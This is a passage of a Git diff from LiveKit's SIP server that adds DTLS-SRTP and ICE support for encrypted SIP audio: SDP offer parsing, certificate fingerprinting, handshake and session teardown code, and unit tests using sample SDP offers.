DispatchCall(ctx context.Context, psrpcClient rpc.IOInfoSIPClient, log logger.Logger, info *sip.CallInfo) sip.CallDispatch { + ctx, span := sip.Tracer.Start(ctx, "service.DispatchCall") + defer span.End() + resp, err := psrpcClient.EvaluateSIPDispatchRules(ctx, &rpc.EvaluateSIPDispatchRulesRequest{ + SipTrunkId: info.TrunkID, + Call: info.Call, + Pin: info.Pin, + NoPin: info.NoPin, + + SipCallId: info.Call.LkCallId, + CallingNumber: info.Call.From.User, + CallingHost: info.Call.From.Host, + CalledNumber: info.Call.To.User, + CalledHost: info.Call.To.Host, + SrcAddress: info.Call.SourceIp, + }) + + if err != nil { + log.Warnw("SIP handle dispatch rule error", err) + return sip.CallDispatch{Result: sip.DispatchServiceUnavailable} + } + resp.Upgrade() + switch resp.Result { + default: + log.Errorw("SIP handle dispatch rule error", fmt.Errorf("unexpected dispatch result: %v", resp.Result)) + return sip.CallDispatch{ + ProjectID: resp.ProjectId, + TrunkID: resp.SipTrunkId, + Result: sip.DispatchNoRuleReject, + } + case rpc.SIPDispatchResult_LEGACY_ACCEPT_OR_PIN: + if resp.RequestPin { + return sip.CallDispatch{ + ProjectID: resp.ProjectId, + TrunkID: resp.SipTrunkId, + DispatchRuleID: resp.SipDispatchRuleId, + Result: sip.DispatchRequestPin, + MediaConfig: resp.Media, + } + } + // TODO: finally deprecate and drop + return sip.CallDispatch{ + ProjectID: resp.ProjectId, + Result: sip.DispatchAccept, + Room: sip.RoomConfig{ + WsUrl: resp.WsUrl, + Token: resp.Token, + RoomName: resp.RoomName, + Participant: sip.ParticipantConfig{ + Identity: resp.ParticipantIdentity, + Name: resp.ParticipantName, + Metadata: resp.ParticipantMetadata, + Attributes: resp.ParticipantAttributes, + }, + RoomPreset: resp.RoomPreset, + RoomConfig: resp.RoomConfig, + }, + TrunkID: resp.SipTrunkId, + DispatchRuleID: resp.SipDispatchRuleId, + Headers: resp.Headers, + IncludeHeaders: resp.IncludeHeaders, + HeadersToAttributes: resp.HeadersToAttributes, + AttributesToHeaders: resp.AttributesToHeaders, + EnabledFeatures: resp.EnabledFeatures, + RingingTimeout: resp.RingingTimeout.AsDuration(), + MaxCallDuration: resp.MaxCallDuration.AsDuration(), + MediaConfig: resp.Media, + } + case rpc.SIPDispatchResult_ACCEPT: + return sip.CallDispatch{ + ProjectID: resp.ProjectId, + Result: sip.DispatchAccept, + Room: sip.RoomConfig{ + WsUrl: resp.WsUrl, + Token: resp.Token, + RoomName: resp.RoomName, + Participant: sip.ParticipantConfig{ + Identity: resp.ParticipantIdentity, + Name: resp.ParticipantName, + Metadata: resp.ParticipantMetadata, + Attributes: resp.ParticipantAttributes, + }, + RoomPreset: resp.RoomPreset, + RoomConfig: resp.RoomConfig, + }, + TrunkID: resp.SipTrunkId, + DispatchRuleID: resp.SipDispatchRuleId, + Headers: resp.Headers, + IncludeHeaders: resp.IncludeHeaders, + HeadersToAttributes: resp.HeadersToAttributes, + AttributesToHeaders: resp.AttributesToHeaders, + EnabledFeatures: resp.EnabledFeatures, + FeatureFlags: resp.FeatureFlags, + RingingTimeout: resp.RingingTimeout.AsDuration(), + MaxCallDuration: resp.MaxCallDuration.AsDuration(), + MediaConfig: resp.Media, + } + case rpc.SIPDispatchResult_REQUEST_PIN: + return sip.CallDispatch{ + ProjectID: resp.ProjectId, + Result: sip.DispatchRequestPin, + TrunkID: resp.SipTrunkId, + MediaConfig: resp.Media, + } + case rpc.SIPDispatchResult_REJECT: + return sip.CallDispatch{ + ProjectID: resp.ProjectId, + Result: sip.DispatchNoRuleReject, + TrunkID: resp.SipTrunkId, + } + case rpc.SIPDispatchResult_DROP: + return sip.CallDispatch{ + ProjectID: resp.ProjectId, + Result: sip.DispatchNoRuleDrop, + TrunkID: resp.SipTrunkId, + } + } +} diff --git a/pkg/sip/dtls_sdp.go b/pkg/sip/dtls_sdp.go new file mode 100644 index 000000000..93212cf08 --- /dev/null +++ b/pkg/sip/dtls_sdp.go @@ -0,0 +1,293 @@ +// Copyright 2026 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "encoding/hex" + "errors" + "fmt" + "math/big" + "net/netip" + "strings" + "time" + + pice "github.com/pion/ice/v4" + psdp "github.com/pion/sdp/v3" +) + +var errDTLSSDP = errors.New("invalid DTLS-SRTP SDP") + +type dtlsCertificate struct { + certificate tls.Certificate + fingerprint string +} + +func newDTLSCertificate() (*dtlsCertificate, error) { + key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) + if err != nil { + return nil, err + } + serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) + if err != nil { + return nil, err + } + tmpl := &x509.Certificate{SerialNumber: serial, Subject: pkix.Name{CommonName: "livekit-sip-dtls"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(24 * time.Hour), KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth, x509.ExtKeyUsageClientAuth}} + raw, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key) + if err != nil { + return nil, err + } + digest := sha256.Sum256(raw) + parts := make([]string, len(digest)) + for i, b := range digest { + parts[i] = fmt.Sprintf("%02X", b) + } + return &dtlsCertificate{certificate: tls.Certificate{Certificate: [][]byte{raw}, PrivateKey: key}, fingerprint: strings.Join(parts, ":")}, nil +} + +type dtlsMediaConfig struct { + remoteFingerprint string + remoteSetup string + localSetup string + isClient bool + certificate *dtlsCertificate + ice *dtlsICEConfig +} + +// dtlsICEConfig is deliberately transport metadata. Meta advertises ICE-lite, +// therefore LiveKit must act as the controlling ICE agent before DTLS starts. +type dtlsICEConfig struct { + remoteUfrag, remotePwd string + remoteCandidates []dtlsICECandidate + localUfrag, localPwd string + local netip.AddrPort +} + +// dtlsICECandidate keeps the complete candidate line used to construct the +// Pion candidate, plus the fields that determine transport identity. Keeping +// the original metadata is important for priorities and non-host candidates. +type dtlsICECandidate struct { + foundation string + component uint16 + priority uint32 + address netip.AddrPort + typ pice.CandidateType + related *pice.CandidateRelatedAddress + extensions []pice.CandidateExtension + raw string +} + +func mediaAttribute(m *psdp.MediaDescription, key string) (string, bool) { + for _, a := range m.Attributes { + if a.Key == key { + return a.Value, true + } + } + return "", false +} + +func sessionAttribute(s *psdp.SessionDescription, key string) (string, bool) { + for _, a := range s.Attributes { + if a.Key == key { + return a.Value, true + } + } + return "", false +} + +func parseDTLSOffer(raw []byte, cert *dtlsCertificate) (*dtlsMediaConfig, error) { + var s psdp.SessionDescription + if err := s.Unmarshal(raw); err != nil { + return nil, fmt.Errorf("%w: %v", errDTLSSDP, err) + } + for _, m := range s.MediaDescriptions { + if m.MediaName.Media != "audio" || !strings.EqualFold(strings.Join(m.MediaName.Protos, "/"), "UDP/TLS/RTP/SAVPF") { + continue + } + if cert == nil { + return nil, fmt.Errorf("%w: DTLS-SRTP is not configured", errDTLSSDP) + } + fp, ok := mediaAttribute(m, "fingerprint") + if !ok { + fp, ok = sessionAttribute(&s, "fingerprint") + } + if !ok { + return nil, fmt.Errorf("%w: fingerprint missing", errDTLSSDP) + } + fields := strings.Fields(fp) + if len(fields) != 2 || !strings.EqualFold(fields[0], "sha-256") { + return nil, fmt.Errorf("%w: SHA-256 fingerprint required", errDTLSSDP) + } + v := strings.ReplaceAll(fields[1], ":", "") + decoded, err := hex.DecodeString(v) + if err != nil || len(decoded) != sha256.Size { + return nil, fmt.Errorf("%w: malformed fingerprint", errDTLSSDP) + } + setup, ok := mediaAttribute(m, "setup") + if !ok { + setup, ok = sessionAttribute(&s, "setup") + } + if !ok { + return nil, fmt.Errorf("%w: setup missing", errDTLSSDP) + } + if _, ok = mediaAttribute(m, "rtcp-mux"); !ok { + return nil, fmt.Errorf("%w: rtcp-mux required", errDTLSSDP) + } + out := &dtlsMediaConfig{remoteFingerprint: strings.ToUpper(fields[1]), remoteSetup: strings.ToLower(setup), certificate: cert} + if ufrag, hasUfrag := mediaAttribute(m, "ice-ufrag"); hasUfrag { + pwd, hasPwd := mediaAttribute(m, "ice-pwd") + if !hasPwd || ufrag == "" || pwd == "" { + return nil, fmt.Errorf("%w: incomplete ICE credentials", errDTLSSDP) + } + remoteCandidates, err := iceRemoteCandidates(m) + if err != nil { + return nil, fmt.Errorf("%w: %v", errDTLSSDP, err) + } + lu, err := iceCredential(8) + if err != nil { + return nil, err + } + lp, err := iceCredential(24) + if err != nil { + return nil, err + } + out.ice = &dtlsICEConfig{remoteUfrag: ufrag, remotePwd: pwd, remoteCandidates: remoteCandidates, localUfrag: lu, localPwd: lp} + } + switch strings.ToLower(setup) { + case "actpass", "active": + out.localSetup, out.isClient = "passive", false + case "passive": + out.localSetup, out.isClient = "active", true + default: + return nil, fmt.Errorf("%w: unsupported setup role %q", errDTLSSDP, setup) + } + return out, nil + } + return nil, nil +} + +func iceCredential(n int) (string, error) { + b := make([]byte, n) + if _, err := rand.Read(b); err != nil { + return "", err + } + return hex.EncodeToString(b), nil +} + +func iceRemoteCandidates(m *psdp.MediaDescription) ([]dtlsICECandidate, error) { + var out []dtlsICECandidate + seen := make(map[string]struct{}) + for _, a := range m.Attributes { + if a.Key != "candidate" { + continue + } + candidate, err := pice.UnmarshalCandidate(a.Value) + if err != nil || candidate.Component() != pice.ComponentRTP || candidate.NetworkType() != pice.NetworkTypeUDP4 { + continue + } + ip, err := netip.ParseAddr(candidate.Address()) + if err != nil || !ip.Is4() || candidate.Port() <= 0 || candidate.Port() > 65535 { + continue + } + raw := candidate.Marshal() + if _, ok := seen[raw]; ok { + continue + } + seen[raw] = struct{}{} + out = append(out, dtlsICECandidate{ + foundation: candidate.Foundation(), + component: candidate.Component(), + priority: candidate.Priority(), + address: netip.AddrPortFrom(ip, uint16(candidate.Port())), + typ: candidate.Type(), + related: candidate.RelatedAddress(), + extensions: candidate.Extensions(), + raw: raw, + }) + } + if len(out) == 0 { + return nil, errors.New("ICE candidate missing") + } + return out, nil +} + +func sameDTLSRemoteTransport(a, b *dtlsMediaConfig) bool { + if a == nil || b == nil { + return a == b + } + if a.remoteFingerprint != b.remoteFingerprint || a.remoteSetup != b.remoteSetup || a.localSetup != b.localSetup || a.isClient != b.isClient { + return false + } + if a.ice == nil || b.ice == nil { + return a.ice == b.ice + } + if a.ice.remoteUfrag != b.ice.remoteUfrag || a.ice.remotePwd != b.ice.remotePwd || len(a.ice.remoteCandidates) != len(b.ice.remoteCandidates) { + return false + } + for i := range a.ice.remoteCandidates { + if a.ice.remoteCandidates[i].raw != b.ice.remoteCandidates[i].raw { + return false + } + } + return true +} + +func reuseDTLSLocalTransport(dst, active *dtlsMediaConfig) { + if dst == nil || dst.ice == nil || active == nil || active.ice == nil { + return + } + dst.ice.localUfrag = active.ice.localUfrag + dst.ice.localPwd = active.ice.localPwd + dst.ice.local = active.ice.local +} + +func addDTLSAnswer(answer *psdp.SessionDescription, d *dtlsMediaConfig) error { + for _, m := range answer.MediaDescriptions { + if m.MediaName.Media != "audio" { + continue + } + m.MediaName.Protos = []string{"UDP", "TLS", "RTP", "SAVPF"} + attrs := m.Attributes[:0] + for _, a := range m.Attributes { + if a.Key != "crypto" && a.Key != "fingerprint" && a.Key != "setup" && a.Key != "rtcp-mux" { + attrs = append(attrs, a) + } + } + m.Attributes = append(attrs, psdp.Attribute{Key: "fingerprint", Value: "sha-256 " + d.certificate.fingerprint}, psdp.Attribute{Key: "setup", Value: d.localSetup}, psdp.Attribute{Key: "rtcp-mux"}) + if d.ice != nil { + if answer.ConnectionInformation == nil || answer.ConnectionInformation.Address == nil { + return fmt.Errorf("%w: answer has no connection address", errDTLSSDP) + } + ip, err := netip.ParseAddr(answer.ConnectionInformation.Address.Address) + if err != nil { + return fmt.Errorf("%w: invalid answer address", errDTLSSDP) + } + d.ice.local = netip.AddrPortFrom(ip, uint16(m.MediaName.Port.Value)) + m.Attributes = append(m.Attributes, + psdp.Attribute{Key: "ice-ufrag", Value: d.ice.localUfrag}, + psdp.Attribute{Key: "ice-pwd", Value: d.ice.localPwd}, + psdp.Attribute{Key: "candidate", Value: fmt.Sprintf("1 1 udp 2130706431 %s %d typ host", d.ice.local.Addr(), d.ice.local.Port())}, + ) + } + return nil + } + return fmt.Errorf("%w: answer has no audio media", errDTLSSDP) +} diff --git a/pkg/sip/dtls_sdp_test.go b/pkg/sip/dtls_sdp_test.go new file mode 100644 index 000000000..4acbb5c76 --- /dev/null +++ b/pkg/sip/dtls_sdp_test.go @@ -0,0 +1,172 @@ +// Copyright 2026 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "strings" + "testing" + + pice "github.com/pion/ice/v4" + psdp "github.com/pion/sdp/v3" + "github.com/stretchr/testify/require" +) + +const metaLikeOffer = "v=0\r\n" + + "o=- 1 1 IN IP4 198.51.100.10\r\n" + + "s=-\r\nt=0 0\r\n" + + "a=fingerprint:sha-256 AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA\r\n" + + "m=audio 40000 UDP/TLS/RTP/SAVPF 111\r\n" + + "c=IN IP4 198.51.100.10\r\n" + + "a=setup:actpass\r\na=rtcp-mux\r\na=rtpmap:111 opus/48000/2\r\n" + +func TestParseMetaDTLSOffer(t *testing.T) { + cert, err := newDTLSCertificate() + require.NoError(t, err) + c, err := parseDTLSOffer([]byte(metaLikeOffer), cert) + require.NoError(t, err) + require.NotNil(t, c) + require.False(t, c.isClient) + require.Equal(t, "passive", c.localSetup) +} + +func TestParseMetaDTLSOfferRequiresMuxAndFingerprint(t *testing.T) { + cert, err := newDTLSCertificate() + require.NoError(t, err) + _, err = parseDTLSOffer([]byte(strings.Replace(metaLikeOffer, "a=rtcp-mux\r\n", "", 1)), cert) + require.ErrorIs(t, err, errDTLSSDP) + _, err = parseDTLSOffer([]byte(strings.Replace(metaLikeOffer, "a=fingerprint:sha-256 AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA\r\n", "", 1)), cert) + require.ErrorIs(t, err, errDTLSSDP) +} + +func TestDTLSAnswerUsesSAVPF(t *testing.T) { + cert, err := newDTLSCertificate() + require.NoError(t, err) + conf, err := parseDTLSOffer([]byte(metaLikeOffer), cert) + require.NoError(t, err) + s := &psdp.SessionDescription{MediaDescriptions: []*psdp.MediaDescription{{MediaName: psdp.MediaName{Media: "audio", Port: psdp.RangedPort{Value: 10000}, Protos: []string{"RTP", "AVP"}, Formats: []string{"111"}}, Attributes: []psdp.Attribute{{Key: "rtpmap", Value: "111 opus/48000/2"}}}}} + require.NoError(t, addDTLSAnswer(s, conf)) + raw, err := s.Marshal() + require.NoError(t, err) + text := string(raw) + require.Contains(t, text, "UDP/TLS/RTP/SAVPF") + require.Contains(t, text, "a=setup:passive") + require.Contains(t, text, "a=rtcp-mux") + require.Contains(t, text, "a=fingerprint:sha-256 "+cert.fingerprint) +} + +func TestParseMetaICEOfferAndAnswer(t *testing.T) { + cert, err := newDTLSCertificate() + require.NoError(t, err) + offer := strings.Replace( + metaLikeOffer, + "a=setup:actpass\r\n", + "a=ice-lite\r\n"+ + "a=candidate:2 1 udp 2122262783 2001:db8::1 3480 typ host\r\n"+ + "a=candidate:1 1 udp 2122260223 198.51.100.10 3480 typ host\r\n"+ + "a=ice-ufrag:remote-user\r\n"+ + "a=ice-pwd:remote-password-value\r\n"+ + "a=setup:actpass\r\n", + 1, + ) + conf, err := parseDTLSOffer([]byte(offer), cert) + require.NoError(t, err) + require.NotNil(t, conf.ice) + require.Equal(t, "remote-user", conf.ice.remoteUfrag) + require.Equal(t, "remote-password-value", conf.ice.remotePwd) + require.Len(t, conf.ice.remoteCandidates, 1) + require.Equal(t, "198.51.100.10:3480", conf.ice.remoteCandidates[0].address.String()) + require.NotEmpty(t, conf.ice.localUfrag) + require.NotEmpty(t, conf.ice.localPwd) + + var answer psdp.SessionDescription + require.NoError(t, answer.Unmarshal([]byte( + "v=0\r\n"+ + "o=- 1 1 IN IP4 203.0.113.20\r\n"+ + "s=-\r\n"+ + "c=IN IP4 203.0.113.20\r\n"+ + "t=0 0\r\n"+ + "m=audio 12000 RTP/AVP 111\r\n"+ + "a=rtpmap:111 opus/48000/2\r\n", + ))) + require.NoError(t, addDTLSAnswer(&answer, conf)) + raw, err := answer.Marshal() + require.NoError(t, err) + text := string(raw) + require.Contains(t, text, "a=ice-ufrag:"+conf.ice.localUfrag) + require.Contains(t, text, "a=ice-pwd:"+conf.ice.localPwd) + require.Contains(t, text, "a=candidate:1 1 udp 2130706431 203.0.113.20 12000 typ host") +} + +func TestParseAllSupportedICECandidates(t *testing.T) { + cert, err := newDTLSCertificate() + require.NoError(t, err) + offer := strings.Replace(metaLikeOffer, "a=setup:actpass\r\n", + "a=candidate:dead 1 udp 2130706431 192.0.2.1 9 typ host generation 0\r\n"+ + "a=candidate:live 1 udp 1694498815 198.51.100.10 3480 typ srflx raddr 10.0.0.1 rport 5000 generation 0\r\n"+ + "a=candidate:rtcp 2 udp 2130706430 198.51.100.10 3481 typ host\r\n"+ + "a=candidate:v6 1 udp 2130706431 2001:db8::1 3480 typ host\r\n"+ + "a=ice-ufrag:remote-user\r\na=ice-pwd:remote-password-value\r\na=setup:actpass\r\n", 1) + + conf, err := parseDTLSOffer([]byte(offer), cert) + require.NoError(t, err) + require.Len(t, conf.ice.remoteCandidates, 2) + require.Equal(t, "dead", conf.ice.remoteCandidates[0].foundation) + require.Equal(t, uint32(2130706431), conf.ice.remoteCandidates[0].priority) + require.Equal(t, pice.CandidateTypeServerReflexive, conf.ice.remoteCandidates[1].typ) + require.Equal(t, "10.0.0.1", conf.ice.remoteCandidates[1].related.Address) + require.Equal(t, 5000, conf.ice.remoteCandidates[1].related.Port) + require.Contains(t, conf.ice.remoteCandidates[1].raw, "generation 0") +} + +func TestParseMetaICEOfferRequiresIPv4Candidate(t *testing.T) { + cert, err := newDTLSCertificate() + require.NoError(t, err) + offer := strings.Replace( + metaLikeOffer, + "a=setup:actpass\r\n", + "a=candidate:2 1 udp 2122262783 2001:db8::1 3480 typ host\r\n"+ + "a=ice-ufrag:remote-user\r\n"+ + "a=ice-pwd:remote-password-value\r\n"+ + "a=setup:actpass\r\n", + 1, + ) + _, err = parseDTLSOffer([]byte(offer), cert) + require.ErrorIs(t, err, errDTLSSDP) +} + +func TestDTLSRemoteTransportIdentity(t *testing.T) { + cert, err := newDTLSCertificate() + require.NoError(t, err) + baseOffer := strings.Replace(metaLikeOffer, "a=setup:actpass\r\n", + "a=candidate:one 1 udp 2130706431 198.51.100.10 3480 typ host\r\n"+ + "a=ice-ufrag:remote-user\r\na=ice-pwd:remote-password-value\r\na=setup:actpass\r\n", 1) + base, err := parseDTLSOffer([]byte(baseOffer), cert) + require.NoError(t, err) + + tests := map[string]string{ + "fingerprint": strings.Replace(baseOffer, "AA:AA:AA", "BB:AA:AA", 1), + "setup role": strings.Replace(baseOffer, "a=setup:actpass", "a=setup:passive", 1), + "ice ufrag": strings.Replace(baseOffer, "remote-user", "changed-user", 1), + "ice pwd": strings.Replace(baseOffer, "remote-password-value", "changed-password-value", 1), + "candidate": strings.Replace(baseOffer, "198.51.100.10 3480", "198.51.100.11 3481", 1), + } + for name, offer := range tests { + t.Run(name, func(t *testing.T) { + changed, err := parseDTLSOffer([]byte(offer), cert) + require.NoError(t, err) + require.False(t, sameDTLSRemoteTransport(base, changed)) + }) + } +} diff --git a/pkg/sip/dtls_srtp.go b/pkg/sip/dtls_srtp.go new file mode 100644 index 000000000..a1cf5b613 --- /dev/null +++ b/pkg/sip/dtls_srtp.go @@ -0,0 +1,484 @@ +// Copyright 2026 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "crypto/sha256" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "io" + "net" + "strings" + "sync" + "time" + + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/protocol/logger" + pdtls "github.com/pion/dtls/v3" + pice "github.com/pion/ice/v4" + prtp "github.com/pion/rtp" + psrtp "github.com/pion/srtp/v3" +) + +// dtlsSrtpSession is deliberately a media transport: callers see the same +// RTP Session interface used by clear RTP and SDES-SRTP. +type dtlsSrtpSession struct { + log logger.Logger + conf *dtlsMediaConfig + raw *udpConn + mux *dtlsMux + ready chan struct{} + mu sync.RWMutex + err error + srtp *psrtp.SessionSRTP + srtcp *psrtp.SessionSRTCP + dtls *pdtls.Conn + iceAgent *pice.Agent + iceMux pice.UDPMux + remote net.Addr + ctx context.Context + cancel context.CancelFunc + closed bool + closeOnce sync.Once +} + +func newDTLSSRTPSession(log logger.Logger, conn *udpConn, conf *dtlsMediaConfig, timeout time.Duration, remote net.Addr) *dtlsSrtpSession { + ctx, cancel := context.WithCancel(context.Background()) + s := &dtlsSrtpSession{log: log, conf: conf, raw: conn, ready: make(chan struct{}), remote: remote, ctx: ctx, cancel: cancel} + if conf.ice == nil { + s.mux = newDTLSMux(conn) + } + go s.start(timeout) + return s +} + +func (s *dtlsSrtpSession) start(timeout time.Duration) { + defer close(s.ready) + ctx, cancel := context.WithTimeout(s.ctx, timeout) + defer cancel() + if err := ctx.Err(); err != nil { + s.mu.Lock() + s.err = err + s.mu.Unlock() + return + } + verify := func(raw [][]byte, _ [][]*x509.Certificate) error { + if len(raw) == 0 { + return errors.New("DTLS peer sent no certificate") + } + d := sha256.Sum256(raw[0]) + got := make([]string, len(d)) + for i, b := range d { + got[i] = fmt.Sprintf("%02X", b) + } + if !strings.EqualFold(strings.Join(got, ":"), s.conf.remoteFingerprint) { + return errors.New("DTLS peer fingerprint mismatch") + } + return nil + } + cfg := &pdtls.Config{Certificates: []tls.Certificate{s.conf.certificate.certificate}, InsecureSkipVerify: true, VerifyPeerCertificate: verify, ClientAuth: pdtls.RequireAnyClientCert, SRTPProtectionProfiles: []pdtls.SRTPProtectionProfile{pdtls.SRTP_AEAD_AES_128_GCM, pdtls.SRTP_AES128_CM_HMAC_SHA1_80}} + if s.conf.ice != nil { + iceConn, err := s.connectICE(ctx, s.conf.ice) + if err != nil { + s.mu.Lock() + s.err = err + s.mu.Unlock() + s.log.Warnw("ICE connectivity failed", err) + return + } + mux := newDTLSMux(iceConn) + s.mu.Lock() + closed := s.closed + if !closed { + s.mux = mux + } + s.mu.Unlock() + if closed { + _ = mux.Close() + return + } + } + var c *pdtls.Conn + var srtpSession *psrtp.SessionSRTP + var srtcpSession *psrtp.SessionSRTCP + var err error + if s.conf.isClient { + c, err = pdtls.Client(s.mux.dtls, s.remote, cfg) + } else { + c, err = pdtls.Server(s.mux.dtls, s.remote, cfg) + } + if err == nil { + err = c.HandshakeContext(ctx) + } + if err == nil { + profile, ok := c.SelectedSRTPProtectionProfile() + if !ok { + err = errors.New("DTLS did not negotiate an SRTP profile") + } + var sp psrtp.ProtectionProfile + if err == nil { + switch profile { + case pdtls.SRTP_AEAD_AES_128_GCM: + sp = psrtp.ProtectionProfileAeadAes128Gcm + case pdtls.SRTP_AES128_CM_HMAC_SHA1_80: + sp = psrtp.ProtectionProfileAes128CmHmacSha1_80 + default: + err = fmt.Errorf("unsupported DTLS-SRTP profile %v", profile) + } + } + if err == nil { + state, ok := c.ConnectionState() + if !ok { + err = errors.New("DTLS connection state unavailable") + } + if err == nil { + scfg := &psrtp.Config{Profile: sp} + err = scfg.ExtractSessionKeysFromDTLS(&state, s.conf.isClient) + if err == nil { + srtpSession, err = psrtp.NewSessionSRTP(s.mux.srtp, scfg) + } + if err == nil { + srtcpSession, err = psrtp.NewSessionSRTCP(s.mux.srtcp, scfg) + } + } + } + } + s.mu.Lock() + closed := s.closed + if !closed { + s.dtls, s.srtp, s.srtcp, s.err = c, srtpSession, srtcpSession, err + } + s.mu.Unlock() + if closed { + if srtpSession != nil { + _ = srtpSession.Close() + } + if srtcpSession != nil { + _ = srtcpSession.Close() + } + if c != nil { + _ = c.Close() + } + return + } + if err != nil { + s.log.Warnw("DTLS-SRTP handshake failed", err) + } else { + s.log.Infow("DTLS-SRTP handshake complete", "role", s.conf.localSetup) + } +} + +// connectICE runs the controlling side of ICE against Meta's ICE-lite offer. +// The returned Conn carries only selected-pair application data; STUN remains +// inside Pion, so the DTLS/RTP mux sees the same transport boundary as before. +func (s *dtlsSrtpSession) connectICE(ctx context.Context, c *dtlsICEConfig) (net.Conn, error) { + if err := ctx.Err(); err != nil { + return nil, err + } + pc := icePacketConn{udpConn: s.raw} + mux := pice.NewUDPMuxDefault(pice.UDPMuxParams{UDPConn: pc}) + closeICE := func(agent *pice.Agent) { + if agent != nil { + _ = agent.Close() + } + _ = mux.Close() + } + agent, err := pice.NewAgent(&pice.AgentConfig{ + LocalUfrag: c.localUfrag, LocalPwd: c.localPwd, + NetworkTypes: []pice.NetworkType{pice.NetworkTypeUDP4}, + CandidateTypes: []pice.CandidateType{pice.CandidateTypeHost}, + NAT1To1IPs: []string{c.local.Addr().String()}, + NAT1To1IPCandidateType: pice.CandidateTypeHost, + UDPMux: mux, + }) + if err != nil { + closeICE(nil) + return nil, err + } + s.mu.Lock() + closed := s.closed + if !closed { + s.iceAgent = agent + s.iceMux = mux + } + s.mu.Unlock() + if closed { + closeICE(agent) + return nil, context.Canceled + } + done := make(chan struct{}) + agent.OnCandidate(func(candidate pice.Candidate) { + if candidate == nil { + close(done) + } + }) + if err = agent.GatherCandidates(); err != nil { + closeICE(agent) + return nil, err + } + select { + case <-done: + case <-ctx.Done(): + closeICE(agent) + return nil, ctx.Err() + } + if err = addRemoteICECandidates(ctx, agent, c.remoteCandidates); err != nil { + closeICE(agent) + return nil, err + } + return agent.Dial(ctx, c.remoteUfrag, c.remotePwd) +} + +func addRemoteICECandidates(ctx context.Context, agent *pice.Agent, candidates []dtlsICECandidate) error { + for _, remoteConfig := range candidates { + remote, candidateErr := pice.UnmarshalCandidate(remoteConfig.raw) + if candidateErr != nil { + return candidateErr + } + if err := agent.AddRemoteCandidate(remote); err != nil { + return err + } + } + // AddRemoteCandidate schedules its update on the agent loop. Do not start + // checks until every advertised candidate is visible to that loop. + for { + remote, err := agent.GetRemoteCandidates() + if err != nil { + return err + } + if len(remote) >= len(candidates) { + return nil + } + select { + case <-ctx.Done(): + return ctx.Err() + case <-time.After(time.Millisecond): + } + } +} + +// icePacketConn lets Pion interrupt reads without taking ownership of the +// media port's underlying socket. A transport rebuild reuses that socket. +type icePacketConn struct{ *udpConn } + +func (c icePacketConn) ReadFrom(b []byte) (int, net.Addr, error) { + n, a, err := c.ReadFromUDPAddrPort(b) + return n, net.UDPAddrFromAddrPort(a), err +} +func (c icePacketConn) WriteTo(b []byte, addr net.Addr) (int, error) { + a, ok := addr.(*net.UDPAddr) + if !ok { + return 0, errors.New("ICE destination is not UDP") + } + return c.WriteToUDPAddrPort(b, a.AddrPort()) +} + +func (s *dtlsSrtpSession) wait() (*psrtp.SessionSRTP, error) { + select { + case <-s.ready: + case <-s.ctx.Done(): + return nil, s.ctx.Err() + } + s.mu.RLock() + defer s.mu.RUnlock() + if s.err != nil { + return nil, s.err + } + if s.srtp == nil { + return nil, io.EOF + } + return s.srtp, nil +} +func (s *dtlsSrtpSession) OpenWriteStream() (rtp.WriteStream, error) { + return dtlsWriteStream{s: s}, nil +} +func (s *dtlsSrtpSession) AcceptStream() (rtp.ReadStream, uint32, error) { + x, err := s.wait() + if err != nil { + return nil, 0, err + } + r, ssrc, err := x.AcceptStream() + if err != nil { + return nil, 0, err + } + return dtlsReadStream{r}, ssrc, nil +} +func (s *dtlsSrtpSession) Close() error { + s.closeOnce.Do(func() { + // Cancel startup first so ICE gathering/checks, DTLS handshaking and + // callers waiting for readiness all become interruptible immediately. + s.cancel() + s.mu.Lock() + s.closed = true + s.mu.Unlock() + + s.closeTransports() + <-s.ready + // Catch any resource whose creation was already in flight when the + // first snapshot was taken. start has exited before this second pass. + s.closeTransports() + }) + return nil +} + +func (s *dtlsSrtpSession) closeTransports() { + // Never hold the session mutex while closing Pion transports. Their Close + // methods may wait for readers that need the same session state to finish. + s.mu.RLock() + agent, iceMux, mux := s.iceAgent, s.iceMux, s.mux + srtpSession, srtcpSession, dtlsConn := s.srtp, s.srtcp, s.dtls + s.mu.RUnlock() + + if agent != nil { + _ = agent.Close() + } + if iceMux != nil { + _ = iceMux.Close() + } + if mux != nil { + _ = 